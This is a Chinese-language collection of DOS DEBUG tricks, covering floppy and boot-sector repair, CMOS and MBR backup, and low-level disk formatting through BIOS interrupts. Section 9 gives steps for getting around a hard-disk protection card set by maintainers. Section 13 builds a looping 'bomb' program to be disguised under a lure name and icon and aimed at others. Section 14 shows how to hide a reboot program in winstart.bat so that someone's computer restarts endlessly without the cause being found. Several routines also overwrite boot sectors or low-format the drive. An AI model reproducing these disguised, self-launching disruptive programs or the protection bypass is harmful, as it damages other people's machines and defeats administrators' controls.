Debug应用
1.非物理0磁道坏软盘的修复
此种损坏从软盘盘面上来看并没有明显的划伤和霉变。一般可以恢复其数据,也可是软盘重新在利用。
处理方法如下:
Ⅰ. 进入debug
Ⅱ. 取一张引导区没有损坏的好磁盘,插入软驱
-L 100 0 0 1
Ⅲ. 插入损坏的磁盘到软驱
-W 100 0 0 1
-Q
注意:好盘与坏盘容量必须相同
2. 物理0磁道坏软盘中的数据读取
对于0磁道损坏的磁盘,一般来说是应该抛弃了,当你也不妨试一试已下方法:
磁化处理:用较强的磁铁在靠近坏磁盘的表面处反复移动,切不可碰到磁盘介质,以免划伤表面,然后在试试格式化。
软盘换面:小心的将磁盘打开,坚磁片与金属芯片分开,方面后再按原来的方法粘在一起即可,在重新格式化。
Diskfix:对于diskfix想必大家都用的比较多了,里面的磁盘修复功能很好用的。能修复大多数磁盘表面错误。
3. 硬盘启动失败处理
在正常机上格式化一张软盘,无其它数据
进入debug
-L 0 2 0 1
-W 0 0 0 1
-Q
用系统盘启动故障机后
在进入debug
-L 0 0 0 1
-w 0 2 0 1
-Q
4. 软盘不能正确读取解决方法
如果使用软盘时出现如下提示
General failure error reading drive A
可以用以下方法解决:
将一张好盘插入软驱
进入debug
-A 100
****:*100 MOV AL,0
****:**** MOV CX,1
****:**** MOV DX,0
****:**** MOV BX,1000
****:**** INT 25
****:**** INT 20
回车
-G=0100
插入坏盘并进入Debug
-A 200
****:*100 MOV AL,1
****:**** MOV CX,1
****:**** MOV DX,0
****:**** MOV BX,1000
****:**** INT 26
****:**** INT 20
回车
-G=200
5.CMOS 数据的保存与恢复
CMOSRAM的'地址口'的口地址为 70H '数据口'的口地址为 71H 读取时只需将读的CMOSRAM的地址送到70H,随后就可以从71 H中得到所需数据。
(1)读取CMOS数据 进入Debug
-A 100
****:*100 MOV BX,1000
****:**** MOV CX,0040
****:**** MOV AX,0000
****:0109 MOV DX,CX
****:**** MOV CX,0005
****:010E LOOP 010E
****:**** OUT 70,AL
****:**** MOV CX,0005
****:0115 LOOP 0115
****:**** IN AL,71
****:**** MOV [BX],AL
****:**** CMP AH,0E
****:**** JB 0123
****:**** ADD AH,80
****:0123 INC AH
****:**** INC BX
****:**** MOV CX,DX
****:**** MOV AL,AH
****:**** LOOP 0109
****:**** MOV AH,3C
****:**** MOV DX,0150
****:**** MOV CX,0020
****:**** INT 21
****:**** MOV BX,AX
****:**** MOV DX,1000
****:**** MOV CX,0040
****:**** MOV AH,40
****:**** INT 21
****:**** MOV AH,4C
****:**** INT 21
-A 150
****:0150 DB "CMOS.DAT",0
****:0159
-R CX
CX 0000
:60
-N SAVE CMOS.COM
-W
-Q
-W 100 2 0 1
-Q
(2)恢复CMOS数据 进入Debug
-A 100
****:*100 MOV CX,0150
****:**** MOV AH,3D
****:**** MOV AL,00
****:**** INT 21
****:**** MOV DX,1000
****:**** MOV BX,AX
****:**** MOV CX,0040
****:**** MOV AH,3F
****:**** INT 21
****:**** MOV AX,0000
****:**** MOV BX,DX
****:**** MOV DX,CX
****:**** MOV CX,0005
****:**** LOOP 011F
****:**** MOV AL,AH
****:**** OUT 70,AL
****:**** MOV CX,0005
****:**** LOOP 0128
****:**** MOV AL,[BX]
****:**** OUT 71,AL
****:**** JB 0136
****:**** ADD AH,80
****:**** INC AH
****:**** INC BX
****:**** MOV CX,DX
****:**** LOOP 011A
****:**** MOV AX,0040
****:**** MOV DS,AX
****:**** MOV AX,1234
****:**** MOV [0072],AX
****:**** JMP FFFF:0000
-A 150
****:0150 DB "CMOS.DAT",0
****:0159
-R CX
CX 0000
:60
-N WRITE CMOS.COM
-W
-Q
6. DOS 引导扇区数据的保存与恢复
DOS引导程序是被读到内存0000:7C00初开始执行的
获得正常的引导程序
进入Debug
-L 100 2 0 1
-N AOSBOOT.COM
-R CX
:200
-W
-Q
装入引导程序
进入Debug
-N AOSBOOT.COM
-L
-R CX
:200
-W 100 2 0 1
-Q
7.硬盘主引导扇区数据的保存与恢复
硬盘工作正常时读取主引导扇区信息
注意:当分区改变时不能用此数据恢复
保存主引导扇区数据进入Debug
-A 100
MOV AX,0201
MOV BX,0110
MOV CX,0001
MOV DX,0080
INT 13
INT 3
-G=100
-E 102 3
-E 10E C3
-R BX
BX 0110
:0
-R CX
CX 0001
:210
-N A:RBOOT.COM
-W
-Q
恢复主引导扇区数据:只需运行A盘的RBOOT.COM
8.硬盘非分配表备份与恢复
计算机运行正常时分配表备份
进入Debug
-L 100 2 0 1
-N ABRUP.DAT
-R CX
:200
-W
恢复
进入Debug
-N ABRUP.DAT
-L
-W 100 2 0 1
-Q
9.硬盘保护卡内幕
对于经常在外边上机的人来说,计算机维护人员一旦设置硬盘保护卡,自己作一些事来特别麻烦,想不想屏蔽掉硬盘保护卡,用以下方法或许可以借鉴:
进入Debug
-A 100
MOV AH,0
MOV DL,0
INT 13
-T
一直按T知道找到 CS=F000 记下此时 DS 的值 如:1234
-E E0:4C
34 12 00 F0
-Q
10. 用Debuf作硬盘低级格式化
硬盘低级格式化一般用DM,但Debug也可以低级格式化硬盘
进入Debug
-A 100
MOV AX,500
MOV BX,180
MOV CX,0
MOV DX,80
INT 13
INT 3
-E 180 0 0 0 2
-Q
11. 冷启动与热启动
用Debug实现系统冷启动与热启动程序
冷启动:
-A 100
JMP FFFF:0
INT 20
-N A:RESET.COM
-R CX
:0007
-w
-Q
热启动:
-A 100
MOV AX,0040
MOV DS,AX
MOV AX,1234
MOV SI,0072
MOV (SI),AX
JMP FFFF:0
-N A:RSET.COM
-R CX
:0014
-W
-Q
12. DOS内部命令加密
如加密 dir
用pctools或diskedit找 C:下的COMMAND.COM文件
编辑该文件
PCTOOLS中:F-----F1 然后找所有03 44 49 52 找到后按F5修改成你所要的值 如: foo 以后只有输入foo 才能列出文件或文件目录。
diskfix 有良好的界面,操作起来和pctools差不多。
注意:如果不能修改,则解开文件的锁定 luck
其它命令代码
type 04 54 59 50 45
cd 02 43 44
del 03 44 45 44
copy 04 43 49 50 59
13.死循环炸弹的编写
在dos下键入debug,进入debug,然后键入下面的汇编代码(分号后是解释):
-a100
0100:mov dl,1 ;将1调入dl
0102:mov ah,2 ;将2H调入ah
0104:int 21 ;调用21H DOS程序
0106:inc dl ;将dl中的数加1
0108:jmp 102 ;回到102程序,既返回"mov ah,2"
两次回车
现在让我们来生成com文件,键入一下指令:
-n盘符程序名 ;n和程序名间没有空格
-rbx ;查看bx寄存器
回车 ;bx为0,不用输入,就回车
-rcx ;查看cx寄存器
:a ;输入程序字节数,a(16进制)就是10字节
-w ;写入程序
好了,现在可以在dos下试试效果了,呵呵,不要打我呀!!!!!!是不是电脑乱叫乱跑呀,哈哈,这是个死循环,现在同时按ctrl+break或ctrl+c可以强制停止的,要是在windows下就用鼠标结束命令提示符就没事了.
现在来解释一下这个程序的实现过程:
把显示字符的ASCII码值调入DL寄存器中,把显示字符的功能号2H调入ah中,执行"int 21"即显示1H的ASCII码,"inc dl"就是将dl中的值加一,"jmp 102"就是跳到"mov ah,2"这个程序段,简单吧,很容易看懂的,这个程序如果再屏蔽掉ctrl,break,c,然后在将窗口最大化,呵呵,那就只能看着自己的"爱机"死循环到死机了,你可以给他取个sexlady的名字,再换个性感的图标,现在就可以用它来炸色狼了.呵呵,今天就讲这么多,下次讲什么呢?讲炸键盘的核心代码吧,嘿嘿.
14.让你的电脑反复启动
c:\debug boot.com
-a100
-mov ax,0040
-mov ds,ax
-mov si,0072
-mov[si],ax
jmp ffff:0
int 20
-rcx
0014
-w
-q
这个就是热启动的程序,如果再用.bat文件让它自动执行,那么它就是一个炸弹,让人家的电脑反复启动,可能你会把他添加到autoexec.bat中,但这样容易被人发现,其实还有一个自动批处理文件和autoexe.bat的作用一样,不过他是在autoexec.bat后执行,文件名叫winstart.bat,这个文件是许多软件安装时生成的临时文件,当软件安装需要重新启动然后继续安装时,就会在windows目录下生成这个文件,安装完后自动删除,但如果是你人为添加这个文件,系统将不把他删除,这样你就可以把这个热启动的程序用这个winstart.bat来让他每次启动计算机时自动执行,最好把这个文件隐藏,一般人是很难想到是这个批处理文件在捣乱,嘿嘿,这样就可以让人家的计算机反复启动不停了.
用DEBUG低格硬盘
方法一:
直接调用ROM BIOS中的低格式化程序。
在很多计算机的ROM BIOS中存放着低格程序。存放地址从C8005H处开始,可以用DEBUG的G命令直接调用。操作如下:
a:/>debug -g c800:0005
这时屏幕显示信息(不同版本的BIOS显示的信息不一样),回车后提示:
current interleave is 3 select new interleave or return fot current
这是要求用户选择交叉因子,按回车表示取默认值,屏幕接着提示:
Are you aynameically configuring the drive-answer Y/N
Prss "Y" to begin formatting the drive c: with interleave 03
键入Y后,开始低格......
Formatting......
完成后询问是否处理坏磁道:
Do you want to format bat trackanswer Y/N?
如没有就用“N”回答,屏幕提示:
Format successfull,system will new restart,insert dos diskette in dirve a:
插入系统盘到A驱,即可进行分区,高级格式化等操作。
方法二:
BIOS也可以由DOS通过中断指令来调用。调用INT 13H中断的7号功能,也可以对硬盘进行低格,操作如下:
a:/>debug
-a 100
-xxxx:0100 mov ax,0703; 交叉因子为3
-xxxx:0103 mov cx,0001; 0磁道0扇区起
-xxxx:0106 mov dx,0080; C盘0磁道
-xxxx:0109 int 13
-xxxx:010B int 3
-xxxx:010D
-G 100 ;从0100处开始执行。
这样硬盘就被低格了!
方法三:
调用INT 13H的5号功能。
对硬盘调用INT 13H的5号功能只能低格0面0道1扇区,而不必低格整个硬盘,从而使低格
在很短的时间内完成。操作如下:
a:/>debug
-a 100
-xxxx:0100 mov ax,0500;调用5号功能
-xxxx:0103 mov bx,0180;设置缓冲区地址
-xxxx:0106 mov cx,0001;0道1扇区起
-xxxx:0109 mov dx,0080;C盘0磁道
-xxxx:010B int 13
-xxxx:010D int 3
-E 0180 0 0 0002;写入参数
-G 100 |